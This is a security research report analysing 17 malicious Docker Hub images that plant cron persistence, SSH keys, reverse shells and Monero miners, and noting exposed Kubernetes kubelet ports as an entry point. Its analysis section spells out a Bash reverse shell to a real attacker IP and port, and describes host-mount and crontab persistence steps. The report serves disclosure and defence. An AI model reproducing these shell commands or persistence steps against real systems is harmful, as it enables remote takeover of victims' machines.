Security Center

Kromtech Security Center found 17 malicious docker images stored on Docker Hub for an entire year. Even after several complaints on GitHub and Twitter, research made by sysdig.com and fortinet.com, cybercriminals continued to enlarge their malware armory on Docker Hub. With more than 5 million pulls, the docker123321 registry is considered a springboard for cryptomining containers. Today’s growing number of publicly accessible misconfigured orchestration platforms like Kubernetes allows hackers to create a fully automated tool that forces these platforms to mine Monero. By pushing malicious images to a Docker Hub registry and pulling it from the victim’s system, hackers were able to mine 544.74 Monero, which is equal to $90000.

Here is the timeline:

Figure 1. Timeline of malicious docker123321 registry lifecycle.

Kubernetes clusters that were deployed for educational purposes or for tests with lack of security requirements represent a great threat for its owners. Even an experienced engineer could care less or even forget about that part of the infrastructure after tests.

Background

Palo Alto Networks post:

Attackers have traditionally profited by stealing identities or credit card numbers and then selling them on underground markets. According to Verizon Data Breach Investigations Reports, the price for stolen records has fallen, so cyber attackers are on the hunt for new ways to boost their profits. Thanks to advances in attack distribution, anonymous payments, and the ability to reliably encrypt and decrypt data, ransomware is on a tear.

With the increase in prices for cryptocurrency trendsetter and several of its altcoins, the number of cryptocurrency-mining malware incidents grew respectively. Cybercriminals have been running cryptocurrency attacks on hijacked machines for some time, finding it more profitable than ransomware. Now, however, malware authors have found a new way to take their nefarious actions into the cloud and bypass the need for hijacking individual computers. The purpose of hackers hunting for poorly configured cloud-native environments is to mine cryptocurrency using large computational power.

Why did we do this?

We noticed an increase in hacker interest in publicly accessible orchestration platforms such as Kubernetes — a container orchestration tool that automates the deployment, update, and monitoring of containers.

At the start of 2018, research by Sysdig showed that attackers moved on from EC2 exploits to container-specific and kubernetes-specific exploits.  A preconfigured Kubernetes instance located on honeypot servers was poisoned with malicious Docker containers that would mine Monero.

Cryptojaking has become a real-life issue, targeting a diverse array of victims, from individual consumers to large manufacturers.  In February 2018, Checkpoint researchers found one of the biggest malicious mining operations ever discovered. Cybercriminals exploited the known CVE-2017-1000353 vulnerability in the Jenkins Java deserialization implementation. Since Jenkins has been called the most widely deployed automation server with an estimated 1 million users, the attack resulted in way more serious consequences. During malicious mining operation, the hackers have accumulated 10,800 Monero, which is currently worth $3,436,776.

Around the same time, in February 2018, RedLock researchers discovered hundreds of Kubernetes administration consoles accessible over the internet without any password protection, including servers belonging to Tesla. The hackers had infiltrated Tesla’s Kubernetes console, which was not password protected. Within one Kubernetes pod, access credentials were exposed to Tesla’s AWS environment, which contained an Amazon S3 (Amazon Simple Storage Service) bucket that had sensitive data such as telemetry. In addition to the data exposure, hackers were performing crypto mining from within one of Tesla’s Kubernetes pods.

The Tesla incident is just the first of many container technology-based exploits we will see in the coming months and years.

What are containers, Docker and Kubernetes?

Containers are a way of packaging software. You can think of running a container like running a virtual machine, without the overhead of spinning up an entire operating system.

Docker helps you create and deploy software within containers. With Docker, you create a special file called a Dockerfile. Dockerfiles define a build process, which, when fed to the ‘docker build’ command, will produce an immutable docker image. You can think of this as a snapshot of your application, ready to be brought to life at any time. When you want to start it up, just use the ‘docker run’ command to run it anywhere the docker daemon is supported and running. It can be on your laptop, your production server in the cloud, or on a raspberry pi. Docker also provides a cloud-based repository called Docker Hub. You can think of it like GitHub for Docker Images. You can use Docker Hub to store and distribute the container images you build.

When you need to start the right containers at the right time, figure out how they can talk to each other, handle storage considerations, and deal with failed containers or hardware, that’s where Kubernetes comes in. Kubernetes is an open source container orchestration platform, allowing large numbers of containers to work together in harmony, reducing operational burden. It helps with things like:

• Running containers across many different machines

• Scaling up or down by adding or removing containers when demand changes

• Keeping storage consistent with multiple instances of an application

• Distributing load between the containers

• Launching new containers on different machines if something fails

Kubernetes is supported by all major container management and cloud platforms such as Red Hat OpenShift, Docker EE, Rancher, IBM Cloud, AWS EKS, Azure, SUSE CaaS, and Google Cloud.

How cybercriminals behave

Both original attack schemes on Docker engine and Kubernetes instances were explained by Aqua Security and Alexander Urcioli respectively.

In the first case, researchers from Aqua Security simulated a system with an “accidentally” exposed docker daemon. Here is what they discovered two days later:

• Hundreds of suspicious actions were logged, many of them were created automatically.

• The attacker attempted to execute a variety of docker commands for image and container management.

• After successful information gathering about the running Docker version, the attacker used the docker import functionality for image injection.

• After a successful image injection, the attacker would start mining.

The second case shows how Alexander Urcioli came across an already compromised personal Kubernetes cluster. He realized that due to misconfiguration that resulted in the public exposing of the kubelet ports (TCP 10250, TCP 10255) and unauthenticated API requests, the attacker :

• Sent two requests: an initial POST and a follow-up GET with exec command to kubelet.

• Executed a dropper script on a running Docker container through kubelet. Dropper script named “kube.lock” would download the mining software from transfer.sh and execute it.

Recently we found another disturbing issue with misconfigured kubernetes cluster. It turns out that the kubelet exposes an unauthenticated endpoint on port 10250.

Let’s come back Alexander Urcioli research one more time:

There are two ports that kubelet listens in on, 10255 and 10250. The former is a read-only HTTP port and the latter is an HTTPS port that can essentially do whatever you want.

Further inspection showed that Kubernetes PodList leaked AWS Access keys (access key ID and secret access key), which simply provide a root access to AWS environments including an Amazon EC2, RDS, S3, and related actions on them.

When we look through latest kubelet documentation we find debug handlers in charge of running code in any container. The option is enabled by default.

--enable-debugging-handlers     Default: true
Enables server endpoints for log collection and local running of containers and commands

The option left on by default, in conjunction with exposed 10250 port, could have led to devastating consequences.  

We can assume now which steps an average cybercriminal can take to attack container based virtualized environments:

• Collect targets automatically through Shodan, Censys or Zoomeye.

• Infiltrate vulnerable or misconfigured Docker registries or Kubernetes instances.

• Exploit weak default settings and inject mining malware within containers. Usually, this is done by injecting a malicious docker image into the docker host. The popular and conventional way to do this is to push the image to a registry (Docker Hub is the natural place) and pull it from the victim host.

It all also requires C2 servers, how cybercriminals build it:

• Collect targets automatically through Shodan, Censys or Zoomeye.

• Automate the exploitation of remote targets using something like AutoSploit.

• Take full control of compromised targets and place C2 servers there.

Does Docker care?

Why it is feasible to pack mining malware into Docker containers? We decided to poke around Docker images with an eye to security aspects.

In an interview, Ericsson’s Head of Cloud Jason Hoffman stated: “Docker’s taking off because it’s the new package management”. That provides a good explanation of Docker’s rapid adoption, but also hides the fact that Docker images are generally dependent on the package manager provided by an underlying Linux distribution. Images like CentOS 5.11 are deliberately held back for the sake of compatibility and have the Shellshock vulnerability.

From https://medium.com/microscaling-systems/dockerfile-security-tuneup-166f1cdafea1

One of the key differences between containers and virtual machines is that containers share the kernel with the host. By default, docker containers run as root which causes a breakout risk. If your container becomes compromised as root it has root access to the host.

Docker is making Security Scanning available as a free preview for a limited time. From the Docker docs:

Docker Security Scanning

The Docker Security Scanning preview service will end on March 31st, 2018, for private repos (not official repos) in both Docker Cloud and Docker Hub. Until then, scanning in private repos is limited to one scan per day on the “latest” tag.

Relying on blog.docker.com:

Docker Security Scanning went alongside Docker Cloud to trigger a series of events once a new image is pushed to a repository. The service included a scan trigger, the scanner, a database, plugin framework and validation services that connect to CVE databases.

Security Scanning provides a detailed security profile of your Docker images for proactive risk management and to streamline software compliance. Docker Security Scanning conducts binary level scanning of your images before they are deployed, provides a detailed bill of materials (BOM) that lists out all the layers and components, continuously monitors for new vulnerabilities, and provides notifications when new vulnerabilities are found.

From the Docker docs:

Cluster and application management services in Docker Cloud are shutting down on May 21. You must migrate your applications from Docker Cloud to another platform and deregister your Swarms. 

The Docker Cloud runtime is being discontinued. This means that you will no longer be able to manage your nodes, swarm clusters, and the applications that run on them in Docker Cloud. To protect your applications, you must migrate them to another platform, and if applicable, deregister your Swarms from Docker Cloud.

It seems that the Docker ecosystem is becoming more enterprise oriented and the responsibility for safe migration and further secure maintenance falls on ordinary developers.

What went wrong?

Several tweets inform about embedded cryptocoin miners:

Figure 2. Twitter user found embedded BTC miner in the docker container. https://twitter.com/jperras/status/894561761252319232 The image is already banned.

Figure 3. Twitter user complaining that there are no convenient ways to report about malware in images on DockerHub.

Figure 4. As there is no convenient way to report malicious images on Docker Hub, users complain on GitHub.

What we found

While we were looking through GitHub we came across a complaint that drew our attention:

Figure 5. Docker Hub registry docker123321 was accused of storing malicious image

Figure 6. Public repository https://hub.docker.com/r/docker123321/ was created approximately in May 2017 and was suspected of storing 17 malicious images.

First three malicious docker images were created in July and August 2017:

• docker123321/tomcat

• docker123321/tomcat11

• docker123321/tomcat22

We inspected the docker image with ‘$ docker inspect docker123321/tomcat’ using CLI:

 Figure 7. The output of CLI command

It turns out that the image runs a shell script containing a sequence of commands:

• mount /etc/ from the host filesystem to /mnt/etc/ inside the container so that it writes to files below /etc on the host.

• Add new cronjob to /etc/crontab on the host. It allows the attacker to gain persistence on the victim’s system.

• Cronjob runs at every minute and executes Python Reverse Shell, which gives an attacker an interactive shell on the victim’s machine. Everything that the attacker writes on the Server Side is sent over the socket. Then the victim’s system executes it in a subprocess like a command.

Imagine a situation where an inexperienced user pulls an image like docker123321/tomcat. Even if the user realizes that the image is not what it represents and tries to delete it from his system, the user could very easily already be hacked.

This image is similar to previous malicious shell script because it also:

• adds a new entry to /etc/crontab on the host to execute a payload

Figure 8. The output of ‘$ docker inspect docker123321/tomcat11’ CLI command

The difference from the previous example is that this shell script runs Bash Reverse Shell,  which does the following:

• Makes the victim machine connect to a control server and then forwards the session to it.

• The command bash -i >& invokes bash with an “interactive” option.

• Then /dev/tcp/98.142.140.13/3333 redirects that session to a TCP socket via device file. Linux has built a /dev/ device file.

• This built-in device file lets bash connect directly to any IP and any port out there.tcp

• Finally 0>&1 Takes standard output, and connects it to standard input.

We realized that when container runs on a victim’s machine, it will give an attacker control of the machine on which remote command execution is to be achieved.   

Figure 9. The output of ‘$ docker inspect docker123321/tomcat22’ CLI command

Here we found a shell script that does following:

• mounts /root/.ssh/ from the host filesystem to /mnt/root/.ssh/ inside the container so that it writes to files below /root/.ssh/ on the host.

• Adds SSH key to /root/.ssh/authorized_keys file on the host machine. Its purpose is to provision access without requiring a password for each login.

Once complete, it grants the attacker with full control of the victim’s machine. Making a profit is as easy as injecting ransomware or mining on a compromised system.

October 2017: 2 new malicious images were added:

• docker123321/kk

• docker123321/mysql

Figure 10. The output of ‘$ docker inspect docker123321/kk’ CLI command

Inspection showed the following behavior:

• First, it adds a new crontab entry under host /etc directory.

• Cronjob runs at every minute and makes system tool curl download test44.sh

Figure 11. test44.sh

• test44.sh bash script file contains tsequence of commands which start 5 crypto mining bitnn/alpine-xmrig containers connected to the crypto-pool.fr pool.

The perpetrator’s Monero wallet appears in a bash script -

Figure 12. The perpetrator’s Monero wallet

Total Paid is 544.74 XMR, which is equal to 89097.67 USD. There are high odds that the 90k USD were earned by poisoning cloud environments with crypto mining containers.

A similar algorithm was implemented in docker123321/mysql:

Figure 13. The output of ‘$ docker inspect docker123321/mysql’ CLI command

When the container runs, the following will happen:

• First, it adds new crontab entry under host /etc directory.

• Cronjob runs at every minute and makes system tool curl download logo3.jpg which is actually a bash script.

• The script contains sequence of commands that start mining software on the victim’s machine.

test44.sh and the same malicious logo1.jpg from docker123321/cron were investigated in detail earlier.

Research shows that docker123321 images can be divided into five categories.

Table 1. Python Reverse Shell and embedded cryptocoin miners hold most of the images.

Table 2. Attacker used 9 IPs to address his remote servers

A simple lookup (for instance 67.231.243.10)  shows that the IP was used to address malware including:

• xmrig.exe - open-source cryptocurrency mining utility

• .jpg files which are obfuscated malicious bash scripts

• PowerShell scripts

Figure 14. Virustotal IP address information

When we get the historical view of most used IP’s using Shodan CLI, we see following:

Figure 15. Shodan host information

Figure 16.

Figure 17.

It shows numerous vulnerabilities in network services associated with OpenSSH, Pure-FTPd, ProFTPD, and Apache HTTP Server. There are high odds that the attacker exploited these vulnerabilities in order to turn remote machines into command-and-control servers.

Conclusions

For ordinary users, just pulling a Docker image from the DockerHub is like pulling arbitrary binary data from somewhere, executing it, and hoping for the best without really knowing what’s in it.

The main thing we should consider is traceability. The process of pulling a Docker image has to be transparent and easy to follow. First, you can simply try to look through Dockerfile to find out what the FROM and ENTRYPOINT notations are and what the container does. Second, Docker images are built using the Docker automated builds. That’s because, with Docker automated builds, you get traceability between the source of the Dockerfile, the version of the image, and the actual build output.

Each build´s details show a lot of information that can be used for improved trust in the image:

• The SHA from the git repository with Dockerfile

• Every command from the Dockerfile that is executed is shown

• Finally, it all ends with a digest of the image pushed

Kubernetes deployments are just as vulnerable to attacks and exploits from hackers and insiders as traditional environments. By attacking the orchestration tools, hackers can disrupt running applications and even gain control of the underlying resources used to run containers. Old models and tools for security will not be able to keep up in a constantly changing container environment.  You need to ask yourself whether you’re able to monitor what’s going on inside a pod or container to determine if there is a potential exploit. Pay specific attention to the most damaging “kill chain” attacks — a series of malicious activities which together achieve the attacker’s goal. Detecting events in a kill chain requires multiple layers of security monitoring. The most critical vectors to monitor in order to have the best chances of detection in a production environment are Network inspection, Container monitoring, and Host security.

An internal and external communication within Kubernetes cluster should be considered as most important part of the secure configuration. The key notions we learned:

• the connection is not secure enough to be run across the internet.kubelet

• SSH tunnels must be used to securely put packets onto the cluster's network without exposing the kubelet's web server to the internet.

• The kubelet needs to serve its https endpoint with a certificate that is signed by the cluster CA.

Adherence to these principles can help you gain a certain level of security awareness.